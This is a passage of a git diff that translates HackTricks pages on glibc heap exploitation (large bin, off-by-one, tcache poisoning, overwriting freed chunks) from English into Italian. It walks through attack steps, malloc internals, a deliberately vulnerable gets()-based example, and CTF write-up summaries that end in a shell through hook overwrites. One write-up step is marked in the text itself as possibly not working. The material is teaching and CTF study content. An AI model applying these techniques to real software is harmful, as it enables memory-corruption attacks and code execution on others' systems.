`scanf` all'interno della tabella GOT, così possiamo sovrascriverlo con l'indirizzo di system.\ +La prossima volta che viene chiamato `scanf`, possiamo inviare l'input `"/bin/sh"` e ottenere una shell. - [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/) - - **Glibc leak**: Uninitialized stack buffer. - - **House of Spirit**: We can modify the first index of a global array of heap pointers. With a single byte modification, we use `free` on a fake chunk inside a valid chunk, so that we get an overlapping chunks situation after allocating again. With that, a simple Tcache poisoning attack works to get an arbitrary write primitive. +- **Glibc leak**: Buffer di stack non inizializzato. +- **House of Spirit**: Possiamo modificare il primo indice di un array globale di puntatori heap. Con una singola modifica di byte, usiamo `free` su un chunk falso all'interno di un chunk valido, in modo da ottenere una situazione di chunk sovrapposti dopo aver allocato di nuovo. Con ciò, un semplice attacco di avvelenamento Tcache funziona per ottenere una scrittura arbitraria. -## References +## Riferimenti - [https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit) diff --git a/src/binary-exploitation/libc-heap/large-bin-attack.md b/src/binary-exploitation/libc-heap/large-bin-attack.md index fb8a721c9..8140ab11b 100644 --- a/src/binary-exploitation/libc-heap/large-bin-attack.md +++ b/src/binary-exploitation/libc-heap/large-bin-attack.md @@ -4,55 +4,53 @@ ## Basic Information -For more information about what is a large bin check this page: +Per ulteriori informazioni su cosa sia un large bin, controlla questa pagina: {{#ref}} bins-and-memory-allocations.md {{#endref}} -It's possible to find a great example in [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c). +È possibile trovare un ottimo esempio in [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c). -Basically here you can see how, in the latest "current" version of glibc (2.35), it's not checked: **`P->bk_nextsize`** allowing to modify an arbitrary address with the value of a large bin chunk if certain conditions are met. +Fondamentalmente, qui puoi vedere come, nell'ultima versione "attuale" di glibc (2.35), non viene controllato: **`P->bk_nextsize`** consentendo di modificare un indirizzo arbitrario con il valore di un chunk di large bin se vengono soddisfatte determinate condizioni. -In that example you can find the following conditions: +In quell'esempio puoi trovare le seguenti condizioni: -- A large chunk is allocated -- A large chunk smaller than the first one but in the same index is allocated - - Must be smalled so in the bin it must go first -- (A chunk to prevent merging with the top chunk is created) -- Then, the first large chunk is freed and a new chunk bigger than it is allocated -> Chunk1 goes to the large bin -- Then, the second large chunk is freed -- Now, the vulnerability: The attacker can modify `chunk1->bk_nextsize` to `[target-0x20]` -- Then, a larger chunk than chunk 2 is allocated, so chunk2 is inserted in the large bin overwriting the address `chunk1->bk_nextsize->fd_nextsize` with the address of chunk2 +- Un grande chunk è allocato +- Un grande chunk più piccolo del primo ma nello stesso indice è allocato +- Deve essere più piccolo, quindi deve andare per primo nel bin +- (Un chunk per prevenire la fusione con il chunk superiore è creato) +- Poi, il primo grande chunk viene liberato e un nuovo chunk più grande di esso viene allocato -> Chunk1 va nel large bin +- Poi, il secondo grande chunk viene liberato +- Ora, la vulnerabilità: L'attaccante può modificare `chunk1->bk_nextsize` in `[target-0x20]` +- Poi, un chunk più grande del chunk 2 viene allocato, quindi chunk2 viene inserito nel large bin sovrascrivendo l'indirizzo `chunk1->bk_nextsize->fd_nextsize` con l'indirizzo di chunk2 > [!TIP] -> There are other potential scenarios, the thing is to add to the large bin a chunk that is **smaller** than a current X chunk in the bin, so it need to be inserted just before it in the bin, and we need to be able to modify X's **`bk_nextsize`** as thats where the address of the smaller chunk will be written to. - -This is the relevant code from malloc. Comments have been added to understand better how the address was overwritten: +> Ci sono altri scenari potenziali, la cosa è aggiungere al large bin un chunk che è **più piccolo** di un attuale chunk X nel bin, quindi deve essere inserito proprio prima di esso nel bin, e dobbiamo essere in grado di modificare **`bk_nextsize`** di X poiché è lì che verrà scritto l'indirizzo del chunk più piccolo. +Questo è il codice rilevante da malloc. Sono stati aggiunti commenti per comprendere meglio come l'indirizzo è stato sovrascritto: ```c /* if smaller than smallest, bypass loop below */ assert (chunk_main_arena (bck->bk)); if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) - { - fwd = bck; // fwd = p1 - bck = bck->bk; // bck = p1->bk +{ +fwd = bck; // fwd = p1 +bck = bck->bk; // bck = p1->bk - victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk) - victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize - fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2 - } +victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk) +victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize +fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2 +} ``` +Questo potrebbe essere utilizzato per **sovrascrivere la variabile globale `global_max_fast`** di libc per poi sfruttare un attacco fast bin con chunk più grandi. -This could be used to **overwrite the `global_max_fast` global variable** of libc to then exploit a fast bin attack with larger chunks. +Puoi trovare un'altra ottima spiegazione di questo attacco in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html). -You can find another great explanation of this attack in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html). - -### Other examples +### Altri esempi - [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/) - - Large bin attack in the same situation as it appears in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c). - - The write primitive is more complex, because `global_max_fast` is useless here. - - FSOP is needed to finish the exploit. +- Attacco large bin nella stessa situazione in cui appare in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c). +- La scrittura primitiva è più complessa, perché `global_max_fast` è inutile qui. +- FSOP è necessario per completare l'exploit. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/off-by-one-overflow.md b/src/binary-exploitation/libc-heap/off-by-one-overflow.md index 000044db5..cc3a76d15 100644 --- a/src/binary-exploitation/libc-heap/off-by-one-overflow.md +++ b/src/binary-exploitation/libc-heap/off-by-one-overflow.md @@ -4,112 +4,110 @@ ## Basic Information -Having just access to a 1B overflow allows an attacker to modify the `size` field from the next chunk. This allows to tamper which chunks are actually freed, potentially generating a chunk that contains another legit chunk. The exploitation is similar to [double free](double-free.md) or overlapping chunks. +Avere accesso a un overflow di 1B consente a un attaccante di modificare il campo `size` del chunk successivo. Questo consente di manomettere quali chunk sono effettivamente liberati, generando potenzialmente un chunk che contiene un altro chunk legittimo. L'exploitation è simile a [double free](double-free.md) o chunk sovrapposti. -There are 2 types of off by one vulnerabilities: +Ci sono 2 tipi di vulnerabilità off by one: -- Arbitrary byte: This kind allows to overwrite that byte with any value -- Null byte (off-by-null): This kind allows to overwrite that byte only with 0x00 - - A common example of this vulnerability can be seen in the following code where the behavior of `strlen` and `strcpy` is inconsistent, which allows set a 0x00 byte in the beginning of the next chunk. - - This can be expoited with the [House of Einherjar](house-of-einherjar.md). - - If using Tcache, this can be leveraged to a [double free](double-free.md) situation. +- Byte arbitrario: Questo tipo consente di sovrascrivere quel byte con qualsiasi valore +- Byte nullo (off-by-null): Questo tipo consente di sovrascrivere quel byte solo con 0x00 +- Un esempio comune di questa vulnerabilità può essere visto nel seguente codice dove il comportamento di `strlen` e `strcpy` è incoerente, il che consente di impostare un byte 0x00 all'inizio del chunk successivo. +- Questo può essere sfruttato con il [House of Einherjar](house-of-einherjar.md). +- Se si utilizza Tcache, questo può essere sfruttato in una situazione di [double free](double-free.md).
Off-by-null - ```c // From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/ int main(void) { - char buffer[40]=""; - void *chunk1; - chunk1 = malloc(24); - puts("Get Input"); - gets(buffer); - if(strlen(buffer)==24) - { - strcpy(chunk1,buffer); - } - return 0; +char buffer[40]=""; +void *chunk1; +chunk1 = malloc(24); +puts("Get Input"); +gets(buffer); +if(strlen(buffer)==24) +{ +strcpy(chunk1,buffer); +} +return 0; } ``` -
-Among other checks, now whenever a chunk is free the previous size is compared with the size configured in the metadata's chunk, making this attack fairly complex from version 2.28. +Tra i vari controlli, ora ogni volta che un chunk è libero, la dimensione precedente viene confrontata con la dimensione configurata nel chunk dei metadati, rendendo questo attacco piuttosto complesso dalla versione 2.28. -### Code example: +### Esempio di codice: - [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c) -- This attack is no longer working due to the use of Tcaches. - - Moreover, if you try to abuse it using larger chunks (so tcaches aren't involved), you will get the error: `malloc(): invalid next size (unsorted)` +- Questo attacco non funziona più a causa dell'uso di Tcaches. +- Inoltre, se provi ad abusarne utilizzando chunk più grandi (quindi i tcaches non sono coinvolti), riceverai l'errore: `malloc(): invalid next size (unsorted)` -### Goal +### Obiettivo -- Make a chunk be contained inside another chunk so writing access over that second chunk allows to overwrite the contained one +- Far sì che un chunk sia contenuto all'interno di un altro chunk in modo che l'accesso in scrittura su quel secondo chunk consenta di sovrascrivere quello contenuto -### Requirements +### Requisiti -- Off by one overflow to modify the size metadata information +- Off by one overflow per modificare le informazioni sulla dimensione dei metadati -### General off-by-one attack +### Attacco generale off-by-one -- Allocate three chunks `A`, `B` and `C` (say sizes 0x20), and another one to prevent consolidation with the top-chunk. -- Free `C` (inserted into 0x20 Tcache free-list). -- Use chunk `A` to overflow on `B`. Abuse off-by-one to modify the `size` field of `B` from 0x21 to 0x41. -- Now we have `B` containing the free chunk `C` -- Free `B` and allocate a 0x40 chunk (it will be placed here again) -- We can modify the `fd` pointer from `C`, which is still free (Tcache poisoning) +- Allocare tre chunk `A`, `B` e `C` (diciamo dimensioni 0x20), e un altro per prevenire la consolidazione con il top-chunk. +- Liberare `C` (inserito nella lista libera Tcache da 0x20). +- Usare il chunk `A` per sovrascrivere `B`. Abusare dell'off-by-one per modificare il campo `size` di `B` da 0x21 a 0x41. +- Ora abbiamo `B` che contiene il chunk libero `C` +- Liberare `B` e allocare un chunk da 0x40 (verrà posizionato qui di nuovo) +- Possiamo modificare il puntatore `fd` di `C`, che è ancora libero (avvelenamento Tcache) -### Off-by-null attack +### Attacco off-by-null -- 3 chunks of memory (a, b, c) are reserved one after the other. Then the middle one is freed. The first one contains an off by one overflow vulnerability and the attacker abuses it with a 0x00 (if the previous byte was 0x10 it would make he middle chunk indicate that it’s 0x10 smaller than it really is). -- Then, 2 more smaller chunks are allocated in the middle freed chunk (b), however, as `b + b->size` never updates the c chunk because the pointed address is smaller than it should. -- Then, b1 and c gets freed. As `c - c->prev_size` still points to b (b1 now), both are consolidated in one chunk. However, b2 is still inside in between b1 and c. -- Finally, a new malloc is performed reclaiming this memory area which is actually going to contain b2, allowing the owner of the new malloc to control the content of b2. +- 3 chunk di memoria (a, b, c) vengono riservati uno dopo l'altro. Poi il chunk centrale viene liberato. Il primo contiene una vulnerabilità di overflow off by one e l'attaccante ne abusa con un 0x00 (se il byte precedente era 0x10 farebbe sì che il chunk centrale indichi che è 0x10 più piccolo di quanto non sia realmente). +- Poi, vengono allocati 2 chunk più piccoli nel chunk liberato centrale (b), tuttavia, poiché `b + b->size` non aggiorna mai il chunk c perché l'indirizzo puntato è più piccolo di quanto dovrebbe. +- Poi, b1 e c vengono liberati. Poiché `c - c->prev_size` punta ancora a b (b1 ora), entrambi vengono consolidati in un chunk. Tuttavia, b2 è ancora all'interno tra b1 e c. +- Infine, viene eseguita una nuova malloc reclamando quest'area di memoria che conterrà effettivamente b2, consentendo al proprietario della nuova malloc di controllare il contenuto di b2. -This image explains perfectly the attack: +Questa immagine spiega perfettamente l'attacco:

https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks

-## Other Examples & References +## Altri Esempi & Riferimenti - [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks) - [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/) - - Off-by-one because of `strlen` considering the next chunk's `size` field. - - Tcache is being used, so a general off-by-one attacks works to get an arbitrary write primitive with Tcache poisoning. +- Off-by-one a causa di `strlen` che considera il campo `size` del chunk successivo. +- Tcache è in uso, quindi un attacco generale off-by-one funziona per ottenere una scrittura arbitraria con avvelenamento Tcache. - [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks) - - It's possible to abuse an off by one to leak an address from the heap because the byte 0x00 of the end of a string being overwritten by the next field. - - Arbitrary write is obtained by abusing the off by one write to make the pointer point to another place were a fake struct with fake pointers will be built. Then, it's possible to follow the pointer of this struct to obtain arbitrary write. - - The libc address is leaked because if the heap is extended using mmap, the memory allocated by mmap has a fixed offset from libc. - - Finally the arbitrary write is abused to write into the address of \_\_free_hook with a one gadget. +- È possibile abusare di un off by one per rivelare un indirizzo dall'heap perché il byte 0x00 alla fine di una stringa viene sovrascritto dal campo successivo. +- La scrittura arbitraria è ottenuta abusando della scrittura off by one per far puntare il puntatore a un altro luogo dove verrà costruita una struttura falsa con puntatori falsi. Poi, è possibile seguire il puntatore di questa struttura per ottenere una scrittura arbitraria. +- L'indirizzo libc viene rivelato perché se l'heap viene esteso utilizzando mmap, la memoria allocata da mmap ha un offset fisso rispetto a libc. +- Infine, la scrittura arbitraria viene abusata per scrivere nell'indirizzo di \_\_free_hook con un one gadget. - [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#instance-2-plaidctf-2015-plaiddb) - - There is a NULL off by one vulnerability in the `getline` function that reads user input lines. This function is used to read the "key" of the content and not the content. - - In the writeup 5 initial chunks are created: - - chunk1 (0x200) - - chunk2 (0x50) - - chunk5 (0x68) - - chunk3 (0x1f8) - - chunk4 (0xf0) - - chunk defense (0x400) to avoid consolidating with top chunk - - Then chunk 1, 5 and 3 are freed, so: - - ```python - [ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] - ``` - - Then abusing chunk3 (0x1f8) the null off-by-one is abused writing the prev_size to `0x4e0`. - - Note how the sizes of the initially allocated chunks1, 2, 5 and 3 plus the headers of 4 of those chunks equals to `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0` - - Then, chunk 4 is freed, generating a chunk that consumes all the chunks till the beginning: - - ```python - [ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ] - ``` - - ```python - [ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] - ``` - - Then, `0x200` bytes are allocated filling the original chunk 1 - - And another 0x200 bytes are allocated and chunk2 is destroyed and therefore there isn't no fucking leak and this doesn't work? Maybe this shouldn't be done - - Then, it allocates another chunk with 0x58 "a"s (overwriting chunk2 and reaching chunk5) and modifies the `fd` of the fast bin chunk of chunk5 pointing it to `__malloc_hook` - - Then, a chunk of 0x68 is allocated so the fake fast bin chunk in `__malloc_hook` is the following fast bin chunk - - Finally, a new fast bin chunk of 0x68 is allocated and `__malloc_hook` is overwritten with a `one_gadget` address +- Esiste una vulnerabilità off by one NULL nella funzione `getline` che legge le righe di input dell'utente. Questa funzione viene utilizzata per leggere la "chiave" del contenuto e non il contenuto. +- Nella scrittura vengono creati 5 chunk iniziali: +- chunk1 (0x200) +- chunk2 (0x50) +- chunk5 (0x68) +- chunk3 (0x1f8) +- chunk4 (0xf0) +- chunk difensivo (0x400) per evitare la consolidazione con il top chunk +- Poi i chunk 1, 5 e 3 vengono liberati, quindi: +- ```python +[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] +``` +- Poi abusando di chunk3 (0x1f8) l'off-by-one nullo viene abusato scrivendo il prev_size a `0x4e0`. +- Nota come le dimensioni dei chunk inizialmente allocati 1, 2, 5 e 3 più le intestazioni di 4 di quei chunk siano uguali a `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0` +- Poi, il chunk 4 viene liberato, generando un chunk che consuma tutti i chunk fino all'inizio: +- ```python +[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ] +``` +- ```python +[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] +``` +- Poi, vengono allocati `0x200` byte riempiendo il chunk originale 1 +- E vengono allocati altri `0x200` byte e chunk2 viene distrutto e quindi non c'è nessun leak e questo non funziona? Forse non dovrebbe essere fatto +- Poi, allocano un altro chunk con 0x58 "a"s (sovrascrivendo chunk2 e raggiungendo chunk5) e modificano il `fd` del fast bin chunk di chunk5 puntandolo a `__malloc_hook` +- Poi, viene allocato un chunk di 0x68 in modo che il fake fast bin chunk in `__malloc_hook` sia il seguente fast bin chunk +- Infine, viene allocato un nuovo fast bin chunk di 0x68 e `__malloc_hook` viene sovrascritto con un indirizzo `one_gadget` {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md b/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md index 117f462b6..00506be04 100644 --- a/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md +++ b/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md @@ -1,23 +1,23 @@ -# Overwriting a freed chunk +# Sovrascrivere un chunk liberato {{#include ../../banners/hacktricks-training.md}} -Several of the proposed heap exploitation techniques need to be able to overwrite pointers inside freed chunks. The goal of this page is to summarise the potential vulnerabilities that could grant this access: +Diverse delle tecniche di sfruttamento dell'heap proposte devono essere in grado di sovrascrivere i puntatori all'interno dei chunk liberati. L'obiettivo di questa pagina è riassumere le potenziali vulnerabilità che potrebbero concedere questo accesso: -### Simple Use After Free +### Uso Semplice Dopo la Liberazione -If it's possible for the attacker to **write info in a free chunk**, they could abuse this to overwrite the needed pointers. +Se è possibile per l'attaccante **scrivere informazioni in un chunk libero**, potrebbe abusare di questo per sovrascrivere i puntatori necessari. -### Double Free +### Doppia Liberazione -If the attacker can **`free` two times the same chunk** (free other chunks in between potentially) and make it be **2 times in the same bin**, it would be possible for the user to **allocate the chunk later**, **write the needed pointers** and then **allocate it again** triggering the actions of the chunk being allocated (e.g. fast bin attack, tcache attack...) +Se l'attaccante può **`free` due volte lo stesso chunk** (liberando potenzialmente altri chunk nel mezzo) e farlo essere **2 volte nello stesso bin**, sarebbe possibile per l'utente **allocare il chunk successivamente**, **scrivere i puntatori necessari** e poi **allocarlo di nuovo**, attivando le azioni del chunk che viene allocato (ad es. attacco fast bin, attacco tcache...) -### Heap Overflow +### Overflow dell'Heap -It might be possible to **overflow an allocated chunk having next a freed chunk** and modify some headers/pointers of it. +Potrebbe essere possibile **overfloware un chunk allocato avendo accanto un chunk liberato** e modificare alcune intestazioni/puntatori di esso. -### Off-by-one overflow +### Overflow Off-by-one -In this case it would be possible to **modify the size** of the following chunk in memory. An attacker could abuse this to **make an allocated chunk have a bigger size**, then **`free`** it, making the chunk been **added to a bin of a different** size (bigger), then allocate the **fake size**, and the attack will have access to a **chunk with a size which is bigger** than it really is, **granting therefore an overlapping chunks situation**, which is exploitable the same way to a **heap overflow** (check previous section). +In questo caso sarebbe possibile **modificare la dimensione** del chunk successivo in memoria. Un attaccante potrebbe abusare di questo per **far sì che un chunk allocato abbia una dimensione maggiore**, poi **`free`** esso, facendo sì che il chunk venga **aggiunto a un bin di una dimensione diversa** (maggiore), poi allocare la **dimensione falsa**, e l'attacco avrà accesso a un **chunk con una dimensione che è maggiore** di quanto realmente sia, **concedendo quindi una situazione di chunk sovrapposti**, che è sfruttabile allo stesso modo di un **overflow dell'heap** (controlla la sezione precedente). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/tcache-bin-attack.md b/src/binary-exploitation/libc-heap/tcache-bin-attack.md index 7c69db95c..22755d8d0 100644 --- a/src/binary-exploitation/libc-heap/tcache-bin-attack.md +++ b/src/binary-exploitation/libc-heap/tcache-bin-attack.md @@ -4,44 +4,44 @@ ## Basic Information -For more information about what is a Tcache bin check this page: +Per ulteriori informazioni su cosa sia un Tcache bin, controlla questa pagina: {{#ref}} bins-and-memory-allocations.md {{#endref}} -First of all, note that the Tcache was introduced in Glibc version 2.26. +Prima di tutto, nota che il Tcache è stato introdotto nella versione 2.26 di Glibc. -The **Tcache attack** (also known as **Tcache poisoning**) proposed in the [**guyinatuxido page**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) is very similar to the fast bin attack where the goal is to overwrite the pointer to the next chunk in the bin inside a freed chunk to an arbitrary address so later it's possible to **allocate that specific address and potentially overwrite pointes**. +L'**attacco Tcache** (noto anche come **avvelenamento Tcache**) proposto nella [**pagina di guyinatuxido**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) è molto simile all'attacco fast bin, dove l'obiettivo è sovrascrivere il puntatore al prossimo chunk nel bin all'interno di un chunk liberato a un indirizzo arbitrario, in modo che in seguito sia possibile **allocare quell'indirizzo specifico e potenzialmente sovrascrivere i puntatori**. -However, nowadays, if you run the mentioned code you will get the error: **`malloc(): unaligned tcache chunk detected`**. So, it's needed to write as address in the new pointer an aligned address (or execute enough times the binary so the written address is actually aligned). +Tuttavia, oggigiorno, se esegui il codice menzionato, riceverai l'errore: **`malloc(): unaligned tcache chunk detected`**. Quindi, è necessario scrivere come indirizzo nel nuovo puntatore un indirizzo allineato (o eseguire il binario abbastanza volte affinché l'indirizzo scritto sia effettivamente allineato). -### Tcache indexes attack +### Attacco agli indici Tcache -Usually it's possible to find at the beginning of the heap a chunk containing the **amount of chunks per index** inside the tcache and the address to the **head chunk of each tcache index**. If for some reason it's possible to modify this information, it would be possible to **make the head chunk of some index point to a desired address** (like `__malloc_hook`) to then allocated a chunk of the size of the index and overwrite the contents of `__malloc_hook` in this case. +Di solito è possibile trovare all'inizio dell'heap un chunk contenente la **quantità di chunk per indice** all'interno del tcache e l'indirizzo del **chunk principale di ciascun indice tcache**. Se per qualche motivo è possibile modificare queste informazioni, sarebbe possibile **far puntare il chunk principale di un indice a un indirizzo desiderato** (come `__malloc_hook`) per poi allocare un chunk della dimensione dell'indice e sovrascrivere i contenuti di `__malloc_hook` in questo caso. -## Examples +## Esempi - CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html) - - **Libc info leak**: It's possible to fill the tcaches, add a chunk into the unsorted list, empty the tcache and **re-allocate the chunk from the unsorted bin** only overwriting the first 8B, leaving the **second address to libc from the chunk intact so we can read it**. - - **Tcache attack**: The binary is vulnerable a 1B heap overflow. This will be abuse to change the **size header** of an allocated chunk making it bigger. Then, this chunk will be **freed**, adding it to the tcache of chunks of the fake size. Then, we will allocate a chunk with the faked size, and the previous chunk will be **returned knowing that this chunk was actually smaller** and this grants up the opportunity to **overwrite the next chunk in memory**.\ - We will abuse this to **overwrite the next chunk's FD pointer** to point to **`malloc_hook`**, so then its possible to alloc 2 pointers: first the legit pointer we just modified, and then the second allocation will return a chunk in **`malloc_hook`** that it's possible to abuse to write a **one gadget**. +- **Libc info leak**: È possibile riempire i tcache, aggiungere un chunk nella lista non ordinata, svuotare il tcache e **ri-allocare il chunk dal bin non ordinato** sovrascrivendo solo i primi 8B, lasciando **il secondo indirizzo a libc del chunk intatto in modo da poterlo leggere**. +- **Attacco Tcache**: Il binario è vulnerabile a un overflow dell'heap di 1B. Questo sarà abusato per cambiare l'**header della dimensione** di un chunk allocato rendendolo più grande. Poi, questo chunk sarà **liberato**, aggiungendolo al tcache di chunk di dimensione falsa. Poi, allochiamo un chunk con la dimensione falsa, e il chunk precedente sarà **restituito sapendo che questo chunk era in realtà più piccolo** e questo offre l'opportunità di **sovrascrivere il prossimo chunk in memoria**.\ +Abuseremo di questo per **sovrascrivere il puntatore FD del prossimo chunk** per puntare a **`malloc_hook`**, in modo che sia possibile allocare 2 puntatori: prima il puntatore legittimo che abbiamo appena modificato, e poi la seconda allocazione restituirà un chunk in **`malloc_hook`** che è possibile abusare per scrivere un **one gadget**. - CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html) - - **Libc info leak**: There is a use after free and a double free. In this writeup the author leaked an address of libc by readnig the address of a chunk placed in a small bin (like leaking it from the unsorted bin but from the small one) - - **Tcache attack**: A Tcache is performed via a **double free**. The same chunk is freed twice, so inside the Tcache the chunk will point to itself. Then, it's allocated, its FD pointer is modified to point to the **free hook** and then it's allocated again so the next chunk in the list is going to be in the free hook. Then, this is also allocated and it's possible to write a the address of `system` here so when a malloc containing `"/bin/sh"` is freed we get a shell. +- **Libc info leak**: C'è un use after free e un double free. In questo writeup l'autore ha fatto trapelare un indirizzo di libc leggendo l'indirizzo di un chunk posizionato in un bin piccolo (come se lo si stesse facendo trapelare dal bin non ordinato ma dal piccolo). +- **Attacco Tcache**: Un Tcache viene eseguito tramite un **double free**. Lo stesso chunk viene liberato due volte, quindi all'interno del Tcache il chunk punterà a se stesso. Poi, viene allocato, il suo puntatore FD viene modificato per puntare al **free hook** e poi viene allocato di nuovo, quindi il prossimo chunk nella lista sarà nel free hook. Poi, questo viene anche allocato ed è possibile scrivere l'indirizzo di `system` qui, quindi quando un malloc contenente `"/bin/sh"` viene liberato otteniamo una shell. - CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html) - - The main vuln here is the capacity to `free` any address in the heap by indicating its offset - - **Tcache indexes attack**: It's possible to allocate and free a chunk of a size that when stored inside the tcache chunk (the chunk with the info of the tcache bins) will generate an **address with the value 0x100**. This is because the tcache stores the amount of chunks on each bin in different bytes, therefore one chunk in one specific index generates the value 0x100. - - Then, this value looks like there is a chunk of size 0x100. Allowing to abuse it by `free` this address. This will **add that address to the index of chunks of size 0x100 in the tcache**. - - Then, **allocating** a chunk of size **0x100**, the previous address will be returned as a chunk, allowing to overwrite other tcache indexes.\ - For example putting the address of malloc hook in one of them and allocating a chunk of the size of that index will grant a chunk in calloc hook, which allows for writing a one gadget to get a s shell. +- La principale vulnerabilità qui è la capacità di `free` qualsiasi indirizzo nell'heap indicando il suo offset. +- **Attacco agli indici Tcache**: È possibile allocare e liberare un chunk di una dimensione che, quando memorizzato all'interno del chunk tcache (il chunk con le informazioni dei bin tcache), genererà un **indirizzo con il valore 0x100**. Questo perché il tcache memorizza la quantità di chunk in ciascun bin in byte diversi, quindi un chunk in un indice specifico genera il valore 0x100. +- Poi, questo valore sembra che ci sia un chunk di dimensione 0x100. Permettendo di abusarne liberando questo indirizzo. Questo **aggiungerà quell'indirizzo all'indice dei chunk di dimensione 0x100 nel tcache**. +- Poi, **allocando** un chunk di dimensione **0x100**, l'indirizzo precedente verrà restituito come un chunk, permettendo di sovrascrivere altri indici tcache.\ +Ad esempio, mettendo l'indirizzo di malloc hook in uno di essi e allocando un chunk della dimensione di quell'indice garantirà un chunk nel calloc hook, che consente di scrivere un one gadget per ottenere una shell. - CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html) - - Same vulnerability as before with one extra restriction - - **Tcache indexes attack**: Similar attack to the previous one but using less steps by **freeing the chunk that contains the tcache info** so it's address is added to the tcache index of its size so it's possible to allocate that size and get the tcache chunk info as a chunk, which allows to add free hook as the address of one index, alloc it, and write a one gadget on it. +- Stessa vulnerabilità di prima con una restrizione extra. +- **Attacco agli indici Tcache**: Attacco simile a quello precedente ma utilizzando meno passaggi liberando **il chunk che contiene le informazioni tcache** in modo che il suo indirizzo venga aggiunto all'indice tcache della sua dimensione, quindi è possibile allocare quella dimensione e ottenere le informazioni del chunk tcache come un chunk, il che consente di aggiungere il free hook come indirizzo di un indice, allocarlo e scrivere un one gadget su di esso. - [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/) - - **Write After Free** to add a number to the `fd` pointer. - - A lot of **heap feng-shui** is needed in this challenge. The writeup shows how **controlling the head of the Tcache** free-list is pretty handy. - - **Glibc leak** through `stdout` (FSOP). - - **Tcache poisoning** to get an arbitrary write primitive. +- **Write After Free** per aggiungere un numero al puntatore `fd`. +- È necessaria molta **heap feng-shui** in questa sfida. Lo writeup mostra come **controllare la 